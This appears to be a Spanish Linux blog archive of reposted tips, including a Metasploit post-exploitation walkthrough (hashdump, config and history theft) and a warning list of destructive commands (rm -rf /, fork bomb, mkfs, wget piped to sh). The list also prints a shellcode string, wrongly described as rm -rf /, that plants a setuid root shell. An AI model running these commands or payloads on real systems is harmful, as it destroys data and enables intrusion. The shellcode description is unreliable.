Mostrando entradas con la etiqueta linux. Mostrar todas las entradas
Mostrando entradas con la etiqueta linux. Mostrar todas las entradas

miércoles, 3 de septiembre de 2014

Curl.io, compartir archivos usando la consola.

curl.io

Hoy en día enviar un archivo es muy fácil: nos vamos a un servicio como WeTransfer, arrastramos lo que queramos enviar a la web y listo, el receptor se lo puede descargar tranquilamente. Pero ¿y si a mo ni me gustan las interfaces gráficas? Para todos los fanáticos del terminal, tenemos curl.io.

Esta sencilla web nos da instrucciones para enviar archivos almacenados localmente usando un comando, que copiamos y pegamos al terminal de nuestro sistema para recibir un enlace directo de descarga que podremos enviar al destinatario. Hay un modo simple, donde sólo tenemos que hacer ese copiar-y-pegar; y un modo seguro donde introducimos una frase que se usará como llave de cifrado.

En ambos casos, el archivo quedará almacenado en los servidores de curl.io durante 4 horas con un tamaño máximo de 5 GB. Lo sé, muchos preferiréis algo más simple... pero los que defienden el terminal a muerte se alegrarán de conocer esta alternativa. Y precisamente por depender de un terminal, curl.io sólo funciona en OS X y en Linux.

Fuente: http://www.genbeta.com/herramientas/curl-io-porque-compartir-archivos-usando-interfaces-graficas-esta-sobrevalorado

miércoles, 27 de agosto de 2014

Tmux: multiples terminales administrados desde una misma consola principal

tmux-1

Actualmente hay quienes tenemos a cargo la administración de gran variedad de servicios como Web, FTP, correo, DNS, proxy y en algunas ocasiones incluso tenemos asignados el proyecto de elaboración del café para todos los compañeros de trabajo.

Por lo que tener tantas ventanas abiertas en nuestro equipo conlleva a sentirnos que estamos dentro de la Matrix y sin el TOTEM a la mano pueden pasar 24 horas y seguimos colgados frente al PC en modo automático. Pues bien, algunas herramientas, facilitan el control visual de todos los servicios en una sola ventana principal.

Entre las existentes podemos mencionar a Tmux que es un terminal multiplexor con la que podemos tener un gran número de terminales en una sola ventana principal, desde la cual podemos acceder y controlarlos, ofreciendo la ventaja de continuar funcionando cada una de las ventanas en segundo plano.
Una sesión es una colección de seudo-terminales bajo la dirección de tmux. Cada sesión tiene una o más ventanas vinculadas. Una ventana ocupa toda la pantalla y puede ser dividido en paneles rectangulares, cada uno de los cuales es un seudo-terminal separado.

Para hacer uso de las opciones de la herramientas debemos tener como punto de apoyo la secuencia de teclas Ctrl+b seguido de la opción que queremos ejecutar.

El proceso de instalación, en algunas distros basadas en Debian como Ubuntu, se puede hacer uso de apt (Advanced Packaging Tool) para su sencillo proceso de instalación.

sudo apt-get install tmux

Los que uséis Fedora
sudo yum install tmux

En caso de que utilicéis Arch Linux o derivadas
sudo pacman -S tmux

Por último los usuarios de openSUSE
su
ypper in tmux
z

Entre las opciones que podemos usar con tmux que nos permitan la movilidad entre las ventanas, se pueden mencionar las siguientes.
  • Para movernos al panel anterior, usamos: Ctrl+b p
  • Para movernos al panel siguiente, podemos usar:  Ctrl+b o
  • Para cambiarnos entre paneles: Ctrl+b q , seguido del numero que se visualiza en la ventana.
tmux-3
  • Para dividir la ventana en vertical, de izquierda a derecha: Ctrl+b %
  • Para salir de Tmux, usamos: Ctrl+b &
  • Para salir de la ventana actual Ctrl+b ! o podemos usar también: Ctrl+d
  • Para conocer las diversas opciones que presenta la herramienta podemos usar: Ctrl+b
tmux-5

  • Para dividir la ventana en horizontal, de arriba, hacia abajo: Ctrl+b
  • Para renombrar la venta actual: Ctrl+b ,
  • Para finalizar el panel actual, con mensaje de confirmación, donde esta tomado el cursor se usa la secuencia: Ctrl+b x

Fuente: http://lamiradadelreplicante.com/2014/08/27/tmux-multiples-terminales-administrados-desde-una-misma-consola-principal/

miércoles, 20 de agosto de 2014

Cheat sheets para manejar Vi/Vim

vim
Vi o su versión mejorada VIM (Vi Improved) es uno de los editores de texto favoritos por muchos desarrolladores a la hora de programar, siendo habitual que las distribuciones GNU/Linux lo incluyan por defecto en su instalación. A pesar de su enorme popularidad no se puede decir que tenga un interfaz muy intuitiva, por lo si empezamos desde cero con el, siempre está bien tener una hoja o chuleta de trucos que nos faciliten el aprendizaje del mismo, ahorrándonos tiempo y esfuerzo
Vía Google + me he encontrado una interesante cheat sheet desarrollada por Mischa Poslawsky aka Shiar licenciada bajo AGPLv3.

En total son varias chuletas interactivas en las que podemos observar los principales diferentes modos de funcionamiento de estos editores.
  • Modo Normal. Es la forma predeterminada de trabajar con Vim, permite emplear combinaciones de teclas para trabajar en el formato del texto (copiar, borrar, mover)
vi-normal-mode
  • Modo Visual: Para la navegación y la selección de bloques de texto, este modo permite realizar la mayoría de los comandos normales, y algunos comandos adicionales, sobre el texto seleccionado
vi-visual-mode
  • Modo Inserción: al activarlo funciona igual que la mayoría de los editores de texto “normales” y se puede iniciar pulsando la tecla i (algo que podéis comprobar en la propia web de Shiar)
vi-insert-mode

Si os interesa tener estas mismas chuletas pero con una resolución superior y al mismo tiempo practicar con algunos de los atajos de Vim os recomiendo que os paséis por la web del autor.

Fuente: http://lamiradadelreplicante.com/2014/08/20/marchando-unas-fantasticas-cheat-sheets-para-manejar-vivim/

lunes, 18 de agosto de 2014

Problemas luego de instalar compiz en ubuntu 14.04

Buenos días.

Los que veniamos acostumbrados en las viejas épocas de linux sabiamos de la existencia del compiz que ultimamente ya no se ha vuelto a ver en su furor inicial.

Lamentablemente al parecer tiene muchos conflictos en ubuntu con su nueva intefaz y al instalarlo nos "borrar" las barras de navegación, para solucionar este problema debemos seguir los siguientes pasos:







Si no carga el video, este es el link directo: https://www.youtube.com/watch?v=hvn1OEab1OE
Personalmente ya no me salia el escritorio por lo tanto mi "solución" fue la siguiente:

Instalar gnome-shell para tener otro escritorio para entrar, primero que todo pulsa control-alt-f1 para sacar la consola y luego seguir los siguientes pasos:


sudo apt-get install gnome-shell
como cambiar escritorio unity por gnome shell 5 Cómo cambiar escritorio unity por gnome shell
Esto descargará desde los repositorios de Ubuntu el escritorio gnome-shell y lo instalará en nuestro Ubuntu.
Con esto ya no sería necesario hacer nada más, ya que tendríamos instalado el escritorio gnome-shell, lo único que para acceder a él hay que hacerlo reiniciando el sistema y clicando en la rueda que aparece en el inicio de sesión, justo en la pantalla que introducimos nuestra contraseña:
Inicio de sesión con opciones de escritorio
Clicando en la opción gnome, nos deberá aparecer en el nuevo inicio de sesión el impresionante y funcional escritorio de gnome-shell:
Escritorio gnome 3

Configurando gnome-shell como escritorio por defecto

Si quieres que gnome-shell se el escritorio por defecto al iniciar sesión en Ubuntu, tan solo deberás abrir una nueva terminal y tipear la siguiente orden:
sudo /usr/lib/lightdm/lightdm-set-defaults -s gnome-shell
gnome 3 por defecto
Con esto cada vez que iniciemos sesión en nuestro sistema operativo, será el nuevo escritorio de gnome-shell el que se iniciará por defecto, si quisierais volver a poner por defecto el escritorio de unity tan solo deberíais teclear la siguiente linea en una nueva terminal:
sudo /usr/lib/lightdm/lightdm-set-defaults -s ubuntu
Por defecto unity
Con esto ya tendremos correctamente instalado gnome-shell, el escritorio más espectacular, según mi opinión personal, para nuestra distro Linux favorita.

Fuentes:
http://ubunlog.com/como-cambiar-escritorio-unity-por-gnome-3/
https://www.youtube.com/watch?v=hvn1OEab1OE

Links de ayuda:

http://www.ubuntu-es.org/node/180509#.U_IxhGPzwVV
http://www.enqlu.com/2014/03/how-to-install-gnome-shell-desktop-in-ubuntu-14-04-lts.html
http://blog.intropedro.com/es/content/instalar-o-desinstalar-gnome-kde-o-xfce-en-ubuntu
http://www.ubuntu-guia.com/2011/05/recuperar-restaurar-unity-ubuntu.html
http://www.ubuntu-es.org/node/180509#.U_BFqWPzxRI
http://www.ubuntu-guia.com/2012/07/restaurar-gnome-compiz-y-unity-en.html
http://askubuntu.com/questions/214529/unity-launcher-has-disappeared
http://askubuntu.com/questions/17381/unity-doesnt-load-no-launcher-no-dash-appears
www.itworld.com/software/416001/reset-unity-desktop-ubuntu-1404
http://www.omgubuntu.co.uk/2014/04/ubuntu-14-04-classic-gnome-flashback-session
http://askubuntu.com/questions/462914/how-to-reinstall-unity-desktop-on-ubuntu-14-04
http://www.ubuntu-guia.com/2012/03/en-ubuntu-12.html
http://ubuntuforums.org/showthread.php?t=2004960
http://askubuntu.com/questions/80388/lost-access-to-the-unity-interface-how-to-fix
http://ubuntuhandbook.org/index.php/2014/04/reset-unity-and-compiz-settings-in-ubuntu-14-04/
http://www.softzone.es/2014/02/26/prueba-unity-8-con-mir-desde-el-nuevo-ubuntu-14-04/
http://www.htpcbeginner.com/install-gui-on-ubuntu-server-14-04-gnome/
http://www.taringa.net/posts/linux/16480401/Combinaciones-de-teclas-para-acceso-directo-de-Linux.html


miércoles, 6 de agosto de 2014

Aprende Linux gratis y online con Linus Torvalds en Fundación Linux



‘¿Qué mejor que un curso sobre Linux introducido por su propio creador, Linus Torvalds y avalado por la Fundación Linux? Uno gratis, online y disponible en la plataforma edX, una de las mejores en esto de los cursos masivos online o Moocs. Este curso de “Introducción a Linux” suele costar unos 2.400 dólares cuando lo imparte la Fundación, pero ahora es gratis. Y comienza en dos días.

El curso empieza justo este viernes 1 de Agosto. No hay ningún pre-requisito para apuntarse, bueno, ninguno salvo tener una cierta base de informática para no perderte los primeros días, un mínimo nivel de inglés (desafortunadamente no se imparte en castellano) y tener instalado Linux en tu ordenador. Si no lo has instalado nunca antes, esta sencilla guía del curso te lo explica paso a paso.
Las clases están impartidas por Jerry Cooperstein, responsable de todas las iniciativas de formación de la Fundación, y dura entre 40 y 60 horas dependiendo de las actividades y materiales que escojas.
Y lo mejor: si tu trabajo durante el curso es satisfactorio, podrás recibir un certificado del mismo que, aunque no tiene un valor oficial, sí acredita que lo has realizado. La página para apuntarse es esta. Ya no hay excusa para no aprender Linux.

Fuente: http://backtrackacademy.com/aprende-linux-gratis-y-online-con-linus-torvalds-en-fundacion-linux/

miércoles, 23 de julio de 2014

10 comandos de Linux para gestionar la seguridad



Una de las ventajas de Linux es la flexibilidad que ofrece al trabajar con comandos a través de la consola. Aunque para aquellos que se acostumbraron a trabajar a través de interfaces gráficas pueda resultar un poco molesto, la realidad es que puede facilitar muchas tareas.
En lo que respecta a la seguridad, existe una serie de comandos de Linux, la mayoría ejecutables en modo de superusuario, que deberíamos tener presentes para gestionar la seguridad de nuestro sistema operativo. A continuación veremos de qué se trata cada uno junto a su sintaxis.
  1. Hacer copias de seguridad: El comando dd (Dataset Definition) es una herramienta muy sencilla que nos permite hacer copias de discos, particiones, archivos, o dispositivos, incluso se puede utilizar de formas alternativas como por ejemplo limpiar la información que contiene el disco.
    En su sintaxis más básica se deben definir el objeto a copiar, el destino donde se va a duplicar la información y la tasa a la cual se realizará esta copia.
Comando dd
  1. Asignación de permisos: con el comando chmod se pueden manejar los permisos tanto de propietario, grupo o todos los usuarios del sistema sobre un archivo o carpeta del sistema. Teniendo en cuenta que los permisos que podemos asignar son de lectura (r), escritura (w) y ejecución (x) se puede utilizar este comando para asignar diferentes permisos a cada tipo de usuario que quiera utilizar el recurso. Podemos verlo a continuación:
Como se ven los permisos Valor Nivel de permisos
- – - 0 Sin permisos
- – x 1 Permiso de ejecución
- w - 2 Permiso de escritura
- w x 3 Permisos de escritura y ejecución
r – - 4 Permiso de lectura
r – x 5 Permisos de lectura y ejecución
r w - 6 Permisos de lectura y escritura
r w x 7 Todos los permisos
En la sintaxis del comando simplemente debemos definir los permisos y el archivo sobre el cual los vamos a establecer. Si se trata de una carpeta con varios archivos podemos utilizar “–R” para que la operación se aplique sobre todos los archivos contenidos.
comando chmod
  1. Permisos por defecto: con el comando umask se pueden establecer los permisos por defecto que van a ser asignados a los nuevos archivos y directorios que son creados por un proceso. En su sintaxis se definen los permisos que se van a enmascarar, al contrario de la anterior.
comando umask
  1. Función hash: existen varios comandos que nos pueden ayudar a encotrar fácilmente el hash de un archivo en particular. md5sum y sha256sum son dos opciones para calcular, como es evidente, el MD5 y el SHA256 de un archivo en particular. Su sintaxis es bastante sencilla, simplemente seleccionando el archivo sobre el que queremos hacer el cálculo.
comando md5sum
  1. Cambiar la clave: desde la consola podemos cambiar la clave de las cuentas de usuario utilizando el comando passwd. Un usuario normal puede cambiar su propia clave simplemente utilizando la siguiente sintaxis:
comando passwd
  1. Comparación de ficheros: con el comado diff podemos comparar dos ficheros para conocer cuáles son las diferencias entre ambos. La comparación la hace línea a línea y en su sintaxis simplemente debemos definir cuáles son los archivos a comparar.
comando diff
  1. Usuarios conectados: si nuestro equipo es compartido el comando who nos puede resultar muy útil para conocer los usuarios que están conectados, por cuánto tiempo y desde dónde lo están haciendo.
comando who
  1. Diagnóstico de la computadora: hay algunos comandos particulares que nos pueden ayudar a identificar el estado actual de nuestra computadora. Por ejemplo, con free podemos conocer el espacio ocupado y libre en las unidades de almacenamiento y utlizando lscpu podemos obtener información acerca del procesador.
comando diagnostico pc
  1. Diagnósticos de procesos: Con el comando pstree podemos determinar cuáles son los procesos en ejecución en nuestra máquina. En conjunto con killall podemos finalizar alguno de ellos.comando pstree
  2. Interfaces de red: A través de ifconfig podemos configurar todos los parámetros de nuestras interfaces de red, desde asignar direcciones IP y máscaras de red hasta activar o desactivar una nterfaz particular.
comando ifconfig

Vale la pena recordar que muchos de estos comandos tienen opciones adicionales que pueden potenciar su uso o incluso agregar funcionalidades adicionales. Para conocer todas las opciones de cada uno, basta con agregar la instrucción “–help” que permitirá obtener más datos; o para una descripción más detallada, se puede anteponer la palabra “man” al uso del comando.

Fuente: http://www.welivesecurity.com/la-es/2014/06/17/10-comandos-de-linux-gestionar-seguridad/

martes, 22 de julio de 2014

Post Exploitation in Linux With Metasploit (ingles)

Post exploitation is an important process in a penetration test as it allows the attacker to gather information from them system that he has exploited.A lot of penetration testers are using the metasploit framework modules for system exploitation.However Metasploit provides and modules for post exploitation activities for a variety of systems.In this article we will examine how we can use metasploit to perform post exploitation on a Linux system.
We will assume that we have already exploited the system.So we will put the session in the background with the command Ctrl+Z.
Putting the session in the background
Putting the session in the background

It is necessary to know the session ID for the post exploitation modules that we are going to use.This can be obtained with the command session.
Obtain the Session ID
Obtain the Session ID

As we can see the ID is 1.One of the first modules that we are going to try is the hashdump which it will try to collect the password hashes of the system.The only setting that we need to insert is the session ID which is already known from before.
Configuring the hasdump module
Configuring the hashdump module

Collecting Password Hashes
Collecting Password Hashes

Another useful module is the checkvm which it will try to discover if the system is a virtual machine.From the image below it seems that our system is VMware virtual machine.
Virtual machine discovery
Virtual machine discovery

Another very interesting post exploitation module of Metasploit is the enum_configs which it will obtain all the important configuration files and it will stored them in our system.In the next image we can see the command that we have used for this module and a sample of the configuration files that has obtained from the remote system.
Sample of Configuration files obtained
Sample of Configuration files obtained

Now if we want to check these .txt files we can open another console and we can type for example nano /root/.msf4/loot/20130104144725_default_172.16.212.133_linux.enum.conf_373751.txt
Opening the conf files
Opening the conf files

We can also enumerate the network configurations with the enum_network module.
Enumerating network information
Enumerating network configurations

If we want to discover what kind of installations exist on the remote system like IDS,antivirus,firewalls etc. then we can use the following module:
Enumerating Protections
Enumerating Protections

We can also enumerate the entire system by obtaining information regarding the user accounts,the installed packages,the services,the hard disk,the Linux version etc.
Enumerating the system
Enumerating the system

Essential information can be discovered and from the user history.Of course there is a metasploit module for this as well that it will store this kind of information on our local system.
Gathering User History Information
Gathering User History Information

Last Logs
Last Logs

Conclusion

In this article we examine the post exploitation modules of metasploit framework that can be used against a Linux system and what kind of information they can obtain.From the information that we have gathered of
course we can conduct further attacks on this system and we can even find alternate ways of exploitation.Additionally during our post exploitation activities we can discover usernames and even plain text passwords which these credentials can be re-used later in other systems on the network.

Fuente: http://pentestlab.wordpress.com/2013/01/04/post-exploitation-in-linux-with-metasploit/

jueves, 3 de julio de 2014

Reset al password de Root desde GRUB (Debian)

El otro día estaba trabajando en el mantenimiento de algunas máquinas virtuales (VM, Virtual Machine) y me pasó que no recordaba la password de Root ni de ningún otro usuario. Oh! Pobre de mí, en qué lío me metí! ¿!Qué fue lo que hice!? ¿En qué momento cambié la clave que no recuerdo? Luego siguieron algunos pensamientos que no puedo reproducir pero ustedes pueden imaginarse…

Buscando en el blog encontré un viejo post del amigo elav para Cambiar la contraseña de root en Debian/LMDE. Lamentablemente a mi no me funcionó, así que acá les paso otro método.

Para almacenar mis claves utilizo, después de la recomendación de mi amigo Facundo, el KeePassX un excelente gestor de usuarios y contraseñas que es multiplataforma y por supuesto Software Libre!
Bien, el caso es que no recordaba la clave y además la que tenía almacenada en el KeePassX no funcionaba, para ningún usuario. Entonces después de darme por vencido por probar las mil y una claves que se me cruzaban por la cabeza simplemente me digné a hacer un reset a la password de Root desde GRUB para mi querido Debian.

Editando opciones de GRUB

El proceso es relativamente sencillo y lo único que necesitamos es tener GRUB instalado (sin mencionar que tenemos que tener el acceso para ver el arranque de la máquina, no?). En mi caso, me conecté con el virt-manager (tengo las VMs con KVM) y reinicié la máquina, pero esto también sirve para una máquina real.
grub
GRUB Boot
Cuando el GRUB arranca tenemos que editar las opciones de arranque presionando la tecla e.
Editando opciones de GRUB
Edición opciones de GRUB

Ahora debemos editar las opciones con las que arranca el sistema. Nos movemos hasta la línea que carga el kernel del sistema operativo. Es la línea que comienza con linux:

echo 'Loading Linux 3.2.0-4-amd64 ...'
linux /vmlinuz-3.2.0-4-amd64 root=/dev/mapper/seacat-root ro quiet
Lo que viene detrás de vmlinuz dependerá de la versión del kernel que tengan instalado. Así como también lo que aparece después de root= dependerá de cómo ustedes tienen instalado el sistema en su filesystem.
Y agregamos:

init=/bin/bash

Cuidado porque seguramente el mapa del teclado es el inglés por defecto y para nosotros los hispano-parlantes nos cambia algunos símbolos.

Después de la palabra quiet. La línea debe quedar:

linux /vmlinuz-3.2.0-4-amd64 root=/dev/mapper/seacat-root ro quiet init=/bin/bash

La contrabarra que se ve en la imagen aparece automáticamente para indicar que lo que está escrito abajo es parte de la misma línea anterior.
Una vez editado esto, nos basta con arrancar la máquina. Como dice en la imagen, con Ctrl+x o F10 arrancamos el sistema con estas opciones.
Esto nos devolverá un shell y podremos editar el archivo /etc/shadow.

Quitando la password de Root

shell después editar grub
Shell después de editar GRUB.

Como no tenemos un sistema completamente funcional veremos que en este caso bash tira algunos errores y de hecho tampoco limpia la pantalla. Pero no importa, porque para lo que lo necesitamos alcanza.
En la cuarta línea de la imagen nos aparece el prompt de la siguiente manera:

root@(none):/#

Lo primero que debemos hacer es remontar el filesystem para que tenga permisos de escritura. Para eso ejecutamos:

root@(none):/# mount -o remount rw /

Ahora sí, podemos proceder a editar con nano el archivo /etc/shadow.

Cuando abramos nano posiblemente nos tire también algunos errores. Pero no lo tenemos en cuenta y presionando Enter continuamos.


El archivo /etc/shadow en la primera línea tiene la información de root. Para cada línea tenemos un conjunto de campos y éstos están separados por dos puntos (:).
El primer campo corresponde al nombre de usuario, el segundo campo es el hash correspondiente a la password. Lo que tenemos que hacer es borrar todos los caracteres para que quede sin password de root. Como se ve en la imagen:
/etc/shadow sin password de root
Archivo /etc/shadow modificado sin password de root.

Guardamos el archivo con Ctrl+o y salimos de nano con Ctrl+x. Ahora sólo nos resta reiniciar la máquina. Cuando el sistema nos pida el login podremos ingresar como root sin tener que ingresar ninguna password.

Como hemos iniciado un shell que no está “bien cargado” para reiniciar la máquina tendremos que hacer un hard reset, es decir, presionar el botón de reset o en mi caso mandar la señal de Force Reset.
Login sin password de root
Login sin password de root

Una vez que el sistema inicia, ingresamos como root y ahora sí podemos ejecutar passwd y seteamos una nueva password de root:

# passwd


Espero que les haya servido!

Fuente: http://blog.desdelinux.net/reset-password-root-grub/

lunes, 16 de junio de 2014

Comandos peligrosos en Linux que siempre debemos evitar

Cuando comenzamos nuestras andadas en el mundo de la informática, ya sea en Windows, Mac OS X o incluso en Linux, es muy común encontrar información errada en foros y chats provenientes de personas que no tienen las mejores intensiones al momento de dirigirse a nosotros.
Dentro de estos consejos o comentarios pueden existir reales amenazas a nuestro sistema e información, más aún cuando nuestro conocimiento acerca del sistema operativo que usamos es limitado o en el peor de los casos nulo.

Existen varios comandos peligrosos en Linux que pueden llegar a ser desastrosos para nuestro sistema si los llegamos a ejecutar, por eso es mejor conocerlos y tenerlos presentes al momento de recibir “ayuda” en lugares públicos y poco confiables relacionados con este sistema operativo.

A continuación listaré 13 de ellos:


rm -rf /
Este comando elimina recursivamente y de forma forzada todos los archivos y directorios almacenados en la partición raiz.

char esp[] _attribute_ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Esta es la versión hexadecimal del comando rm -rf / que incluso puede engañar a los mas conocedores.

mkfs.ext3 /dev/sda
Este comando puede formatear o eliminar todos los archivos contenidos en el dispositivo mencionado después del comando mkfs.

:(){:|:&};:
Conocido como la bomba fork, este comando le pide a tu sistema ejecutar una gran cantidad de procesos hasta que el sistema se bloquea, pudiendo resultar en el daño de información.

comando > /dev/sda
Este comando escribirá datos en bruto en un bloque que usualmente dañara el sistema de archivos resultando en la perdida de información.

wget http://fuente_poco_confiable O | sh
Nunca descargues scripts o código desde una fuente en la que no puedas confiar plenamente, mucho menos si la vas a ejecutar automáticamente una vez descargada.

mv ~/* /dev/null
mv /home/tucarpetaprincipal/* /dev/null
Este comando moverá todos los archivos almacenados en tu carpeta principal a un lugar que no existe, perdiendo de forma definitiva toda tu información.

dd if=/dev/urandom of=/dev/sda
Este comando llenará con datos aleatorios toda la partición de tu disco duro.

chmod -R 777 /
Este comando concederá permisos de escritura a todo tu sistema.

chmod 000 -R /
chown nobody:nobody -R /
Este comando elimina todos los accesos privilegiados a todos los usuarios en el sistema excepto Root.

yes > /dev/sda
Este comando llenará tu disco duro con la letra ‘y‘.

rm -rf /boot/
Este comando elimina todos los archivos del kernel, initrd y GRUB/LILO necesarios para iniciar el sistema.

rm /bin/init
cd / ; find -iname init -exec rm -rf {} ;
Este comando borrará todos los archivos que contengan la palabra ‘init‘, incluso ‘/sbin/init‘.

Estos no son los únicos comandos peligrosos en Linux y probablemente ustedes conocerán muchos más, así que espero los compartan con nosotros a través de los comentarios.


Fuente | Mitesh Shah
Fuente:2 http://emslinux.com/comandos-peligrosos-en-linux-que-siempre-debemos-evitar/

jueves, 5 de junio de 2014

Como descomprimir un rpm

A veces podemos encontrarnos que algunos proveedores, a parte de sólo ofrecer binarios, sólo los dan en formato RPM. Esto no tiene porqué ser un problema, ya que los podremos descomprimir mediante la herramienta rpm2cpio.


Para ello sólo hace falta ejecutar el comando con el rpm a extraer pasando por pipe el cpio con sus flags:

$ rpm2cpio fibreutils-2.3-7.linux.i386.rpm |cpio -ivd

Los flags del cpio son:

  • -i : Para indicar que la operación es de extraer
  • -v : Para que muestre los ficheros descomprimdos
  • -d : Para que cree los directorios según los necesite para descomprimir
Fuente: http://systemadmin.es/2008/12/como-descomprimir-un-rpm

Betty: tu nueva amiguita en la linea de comandos

betty-image3
Si quisieramos definir a Betty podríamos decir que es el Siri o Google Now de la linea de comandos, una interfaz amigable que nos facilita ejecutar un buen número de ordenes más o menos complejas sin necesidad de abusar demasiado de nuestra memoria, al tiempo que nos permite realizar busquedas en internet, como puede ser el estado del tiempo o acceso directo a Google Maps.
Betty todavía no reconoce las ordenes de voz, ya que está basada en texto y es necesario escribir en ingles para obtener nuestras respuestas, pero al ser código libre es de esperar que aumenten progresivamente las prestaciones y sea traducido también a otros idiomas.
tar
Algunas de las funciones que están incluidas en su última versión 0.15 son:
  • Descargar archivos de una web
  • Fecha y hora
  • Buscar archivos que contengan una palabra determinada
  • Mostrar el tamaño de un archivo.
  • Acceso a Google Maps
  • Control de Spotify e iTunes
  • Contar el número de caracteres o palabras en un directorio
  • Extraer archivos
  • Cambiar los permisos a un directorio o a un archivo
  • Mostrar quien esta logueado en el sistema
  • Traducción del ingles al español
  • Mostrar las condiciones metereológicas de un determinado lugar
  • Y la última pero no menos importante decirnos cual es el sentido de la vida :-) (fan de “El autoestopista galáctico” detected!)
betty-image4

Instalación

1. Primero vamos a resolver algunas dependencias instalando ruby, curl y git (los que ya los tengáis en vuestro sistema ahorraros este paso)
  • En Debian y derivadas como Ubuntu y Linux Mint
1
sudo apt-get install ruby curl git
  • En Fedora ejecutamos como root
1
yum install ruby curl git
  • En openSUSE ejecutamos como root
1
zypper in ruby curl git
  • En Arch y derivadas como Manjaro o Antergos

sudo pacman -S ruby curl git
A continuación descargamos la última versión de Betty de GitHub, clonando su repositorio
1
git clone https://github.com/pickhardt/betty
Y el último paso es crearle un alias en nuestro archivo /.bashrc


echo "alias betty=\"~/betty/main.rb\"" >> ~/.bashrc
source ~/.bashrc
betty-image5
En la página del proyecto podréis encontrar toda la documentación y lo que se puede hacer con Betty, ahora os dejo con la lista de comandos, organizados por categorías, por si os apetece practicar:

Count
betty how many words are in this directory
betty how many characters are in myfile.py
betty count lines in this folder
(Note that there's many ways to say more or less the same thing.)
 
Config
betty change your name to Joe
betty speak to me
betty stop speaking to me
 
Datetime
betty what time is it
betty what is todays date
betty what month is it
betty whats today
 
Find
betty find me all files that contain california
 
Internet
betty download http://www.mysite.com/something.tar.gz to something.tar.gz
betty uncompress something.tar.gz
betty unarchive something.tar.gz to somedir
(You can use unzip, unarchive, untar, uncompress, and expand interchangeably.)
betty compress /path/to/dir
 
iTunes
betty mute itunes
betty unmute itunes
betty pause the music
betty resume itunes
betty stop my music
betty next song
betty prev track
betty what song is playing
(Note that the words song, track, music, etc. are interchangeable)
 
Fun
betty go crazy
betty whats the meaning of life
...and more that are left for you to discover!
 
Map
betty show me a map of mountain view
 
Meta
betty what version are you (or just betty version)
betty whats your github again
 
Permissions
betty give me permission to this directory
betty give anotheruser ownership of myfile.txt
 
Process
betty show me all processes by root containing grep
betty show me all my processes containing netbio
 
Sizes
betty show size for myfile.txt
 
Spotify
betty play spotify
betty pause spotify
betty next spotify
betty previous spotify
 
User
betty whats my username
betty whats my real name
betty whats my ip address
betty who else is logged in
betty whats my version of ruby
 
Web queries
betty turn web on
betty please tell me what is the weather like in London
Fuente | WepUpd8

Comic | xkcd
Fuente2: http://lamiradadelreplicante.com/2014/05/15/betty-tu-nueva-amiguita-en-la-linea-de-comandos/

martes, 20 de mayo de 2014

Recuperar USB dañado

En ocasiones, un USB acaba dando problemas llegado al punto de que no podemos añadir archivos o incluso no podemos ni formatearlo, antes de recurrir a la garantía podemos probar lo siguiente (atención, con este proceso perderemos todos los datos almacenados):

  1. Entramos al cmd con permisos de administrador
  2. Escribimos diskpart
  3. Hacemos LIST DISK y elegimos el disco referente al pendrive con SELECT DISK 3 (siendo 3 el número del pendrive)
  4. CLEAN
  5. CREATE PARTITION PRIMARY
  6. ACTIVE
  7. FORMAT fs=fat32 quick
  8. ASSIGN
  9. EXIT

Fuente: http://uxio0.blogspot.com/

ExplainShell (Qué significa cada comando linux online)

ExplainShell es una base de datos online que te permite encontrar información detallada sobre casi todos los comandos principales de Linux existentes.

Básicamente funciona analizando las típicas páginas de manual (manpages) que utilizan los sistemas operativos basados ​​en Unix para encontrar el texto de ayuda relevante asociado con un comando (y sus argumentos incluidos, si los hubiera). Para ello, ExplainShell mantiene un archivo de todo el repositorio de páginas de manuales de Ubuntu. Todo lo que tienes que hacer es buscar una órden concreta y ExplainShell devolverá inmediatamente el texto o textos de ayuda correspondientes.



http://explainshell.com/

Explainshell esta principalmente escrito en Python, pero también utiliza NLTK (para extraer las partes interesantes de los manuales), un poco de d3.js (para la parte gráfica) y Flask (como framework de Python). Su autor es Idan Kamara que finalmente ha publicado el código bajo licencia GPL en GitHub, con el cual podremos utilizar nuestro propio servidor de forma local.


Fuente: http://www.hackplayers.com/2014/05/explainshell-que-significa-este-comando.html

miércoles, 14 de mayo de 2014

Hacer el seguimiento de un log en UNIX

Una buena costumbre en todo programa informático es la creación de un buen log del sistema que estás creando. Cuanto más detallado sea, más fácil será encontrar un error inesperado o una incidencia compleja.
El problema viene a veces que sumergirse en el log de un sistema que está en continuo uso puede ser algo tedioso. Más de una vez me he encontrado a un compañero bajándose todo el fichero de log (de varios megas) para revisar una traza de algo que acaba de probar.

Realizar esa acción una vez… bueno, pero hacerlo constantemente con cada prueba que se realiza, puede ser algo desesperante.

Bueno, pues como el conocimiento se comparte, aquí va un comando que ejecutaremos en un terminal remoto (PUTTY o similar) que facilita mucho el seguimiento en vivo de un log en un sistema UNIX (y derivados):

tail -F nombre_fichero.log

Con esta instrucción veremos en tiempo real el fichero que le 
indiquemos, haciendo scroll automático con las nuevas trazas que vayan 
apareciendo. Y si estamos buscando una palabra o identificador en 
concreto y queremos obviar  el resto de trazas, utilizaremos el 
siguiente comando:

tail -F nombre_fichero.log | grep palabra

Al igual que la anterior, veremos el contenido del fichero en tiempo real, pero únicamente aparecerán las líneas que contengan la palabra que indiques.


En ambos casos, para detener la instrucción y volvamos a la línea de comando, pulsaremos Ctrl-C

Fuente:
http://fsandin.wordpress.com/2010/12/29/hacer-el-seguimiento-de-un-log-en-unix/

Documentos de apoyo:
http://www.ubuntu-es.org/node/137747
http://www.marioalberto.com.mx/linux/linux.php

lunes, 8 de abril de 2013

Algunos comandos en Linux interesantes.

Bueno.

Aquí les dejo esta entrada que me gusto de hpys.






- sshfs user@host:/path/to/dir /path/to/mount/point – monta el directorio/sistema de ficheros a través de SSH.

- !!:gs/foo/bar – ejecuta el comando anterior reemplazando la cadena “foo” por “bar”.

- mount | column –t – muestra los sistemas de ficheros montados de una forma ordenada.

- [space] command – ejecuta un comando sin guardarlo en el historial.

- ssh user@host cat /path/to/remotefile | diff /path/to/localfile – compara un fichero remoto con un fichero local.

